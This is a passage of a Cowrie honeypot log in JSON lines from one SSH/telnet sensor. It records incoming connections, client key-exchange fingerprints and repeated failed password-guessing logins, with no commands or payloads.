nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:26.158710Z","src_ip":"103.27.238.120","session":"c7e03257e722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:26.966427Z","src_ip":"51.250.105.222","session":"f00f76c80af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:27.008517Z","src_ip":"103.27.238.120","session":"c7e03257e722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:28.287383Z","src_ip":"103.27.238.120","session":"c7e03257e722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.400354623794556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:40.935109Z","src_ip":"50.6.8.71","session":"663d6763b5c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59761,"dst_ip":"159.203.135.109","dst_port":22,"session":"4caa7813aa73","protocol":"ssh","message":"New connection: 109.91.4.177:59761 (159.203.135.109:22) [session: 4caa7813aa73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:43.019685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:43.025008Z","src_ip":"109.91.4.177","session":"4caa7813aa73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:43.144742Z","src_ip":"109.91.4.177","session":"4caa7813aa73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemadminuser","password":"babaprowarnight","message":"login attempt [systemadminuser/babaprowarnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:44.094659Z","src_ip":"109.91.4.177","session":"4caa7813aa73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:45.236337Z","src_ip":"109.91.4.177","session":"4caa7813aa73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":30747,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40626c7c9ab","protocol":"ssh","message":"New connection: 2.57.121.25:30747 (159.203.135.109:22) [session: f40626c7c9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:55.427821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:55.432756Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:55.534297Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"davidd","message":"login attempt [user/davidd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:56.013732Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"davecole","message":"login attempt [user/davecole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:57.117707Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":36164,"dst_ip":"10.17.0.5","dst_port":22,"session":"71feac75bdb5","protocol":"ssh","message":"New connection: 103.27.238.68:36164 (10.17.0.5:22) [session: 71feac75bdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:58.147941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:58.151701Z","src_ip":"103.27.238.68","session":"71feac75bdb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"darlin","message":"login attempt [user/darlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:58.222494Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:58.422549Z","src_ip":"103.27.238.68","session":"71feac75bdb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:59.240945Z","src_ip":"103.27.238.68","session":"71feac75bdb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dapper","message":"login attempt [user/dapper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:59.326165Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dane","message":"login attempt [user/dane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:00.461214Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:00.515934Z","src_ip":"103.27.238.68","session":"71feac75bdb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:01.568620Z","src_ip":"2.57.121.25","session":"f40626c7c9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":34568,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89a4f00af2d","protocol":"ssh","message":"New connection: 147.45.197.250:34568 (10.17.0.5:22) [session: f89a4f00af2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:04.242362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:04.248312Z","src_ip":"147.45.197.250","session":"f89a4f00af2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:04.338930Z","src_ip":"147.45.197.250","session":"f89a4f00af2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:04.607636Z","src_ip":"147.45.197.250","session":"f89a4f00af2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:05.702411Z","src_ip":"147.45.197.250","session":"f89a4f00af2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d6634bd6b9","protocol":"ssh","message":"New connection: 103.149.170.125:33176 (10.17.0.5:22) [session: 26d6634bd6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:09.974652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:09.980005Z","src_ip":"103.149.170.125","session":"26d6634bd6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:10.230643Z","src_ip":"103.149.170.125","session":"26d6634bd6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:10.981590Z","src_ip":"103.149.170.125","session":"26d6634bd6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"c277374365af","protocol":"ssh","message":"New connection: 103.183.114.55:33770 (10.17.0.5:22) [session: c277374365af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:11.350524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:11.355380Z","src_ip":"103.183.114.55","session":"c277374365af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:11.573160Z","src_ip":"103.183.114.55","session":"c277374365af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:12.234071Z","src_ip":"103.149.170.125","session":"26d6634bd6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:12.247322Z","src_ip":"103.183.114.55","session":"c277374365af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:13.471855Z","src_ip":"103.183.114.55","session":"c277374365af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7918f04c04e","protocol":"ssh","message":"New connection: 103.27.238.116:43766 (10.17.0.5:22) [session: a7918f04c04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:24.446347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:24.452962Z","src_ip":"103.27.238.116","session":"a7918f04c04e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:24.737303Z","src_ip":"103.27.238.116","session":"a7918f04c04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:25.587646Z","src_ip":"103.27.238.116","session":"a7918f04c04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62016,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b72bbc91ea8","protocol":"ssh","message":"New connection: 109.91.4.177:62016 (159.203.135.109:22) [session: 7b72bbc91ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:25.971461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:25.976720Z","src_ip":"109.91.4.177","session":"7b72bbc91ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed